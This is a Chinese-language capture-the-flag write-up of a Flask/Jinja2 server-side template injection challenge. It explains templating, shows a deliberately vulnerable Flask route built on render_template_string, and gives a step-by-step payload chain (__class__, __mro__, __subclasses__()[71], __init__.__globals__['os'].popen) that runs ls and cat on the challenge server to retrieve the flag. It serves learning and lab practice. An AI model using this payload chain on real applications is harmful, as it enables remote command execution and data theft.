攻防世界WEB—Web_python_template_injection
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------本文仅记录我自己的学习过程和总结
Web_python_template_injection
页面:
英语比较菜,百度翻译后才知道是python模板注入漏洞的题目,对于我这样一个小白来说(内心:什么鬼???!!!),只好Google一下(看到了好多优秀的文章会在末尾放出)
什么是模板?
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
如果学过JSP的话会发现是不是跟编写动态网页差不多,或者说是一模一样,还有这跟MVC模式下的M(模型)是不是很像,编写好关键的代码,只要得到数据就能利用JSP引擎来生成HTML页面,那么python模板的HTML页面由谁生成?模板引擎来完成
简单来理解过程:服务器拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器
本文介绍flask模板的注入
flask是python中流行的模板,使用Jinja2来作为渲染引擎(模板引擎).
{{}}
{{}}在Jinja2中作为变量包裹标识符,可用于标识变量以及命令执行
route装饰器路由
@app.route('/')
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route('/')
def test()"return 123
模板渲染函数
- render_template() 方法:用于渲染文件以及传入参数
- render_template_string()方法:用于渲染字符串以及传入参数
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():user = {'name': '小猪佩奇'}#传入一个字典数组return render_template("index.html",title='Home',user=user)//index.html就是要被渲染的一个模板文件,有两个要传入的参数
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():str='''<P>Hello,%s</p>'''%(code)//code传入之后用于替代%Sreturn render_template_string(str);//str是用于被渲染的字符串
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
一个经典的ssti服务端模板注入漏洞代码
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_stringapp = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' %(request.url)return render_template_string(template)if __name__ == '__main__':app.debug = Trueapp.run()
flask漏洞成因
模板本身是没有问题的,有问题的是人.上面代码代码中%(request.url)是由用户控制的,是不可靠的输入,还记得{{}}它不仅仅可以用来标识变量,还有用来执行命令,这仅仅还不够,还要搭配render_template_string()才能成功执行漏洞,render_template()会对输入的参数进行重新编码,使得即使是用户可控的参数,也只能是作为字符串.
实现
总的思路是:找父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块
几个魔术方法
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
因此在实际使用的是应该随机应变的构造payload
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
本题解法
1.测试是否存在漏洞:http://220.249.52.133:49160 /{{7*7}}:url根据实际的来
返回:URL http://220.249.52.133:49160/49 not found 经典的404报错,也证明了存在漏洞
2.找到当前变量所在的类:http://220.249.52.133:49160 /{{’ '.class}}
返回:URL http://220.249.52.133:49160/<type ‘str’> not found
3.从这个类找到它的基类:http://220.249.52.133:49160 /{{’ '.class.mro}}
返回:URL http://220.249.52.133:49160(<type ‘str’>, <type ‘basestring’>, <type ‘object’>) not found
4.通过基类来找其中任意一个基类的引用列表:{{’ '.class.mro[2].sub
classes()}}
返回:服务器回复了很长的一个列表,我就不列举了,从其中可以找到我们想要
的 os所在的 site._Printer 类,它在列表的第七十二位,即 subclasses()[71](0也是一个类) 。
这里有个小细节,mro[]中括号里填谁其实区别都不大,这些基类引用的东西都一样。
5.直接填命令语句:通过 subclasses()[71].init.globals[‘os’].popen(‘命令
行语句’).read() 来 调用服务器的控制台 并显示 ,这下我们就可以随便用控制台输出了。
将ls传入会得到当前目录下的文件,会发现一个fl4g的文件
在将cat fl4g传入就可以获得flag
参考链接:
[1]:https://xz.aliyun.com/t/3679#toc-2
[2]:https://p0sec.net/index.php/archives/120/
[3]:https://www.cnblogs.com/tr1ple/p/9415641.html
[4]:https://www.freebuf.com/column/187845.html
[5]:python官方文档
[6]:攻防世界的wp
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------*若有不足,请指教,转载请表明出处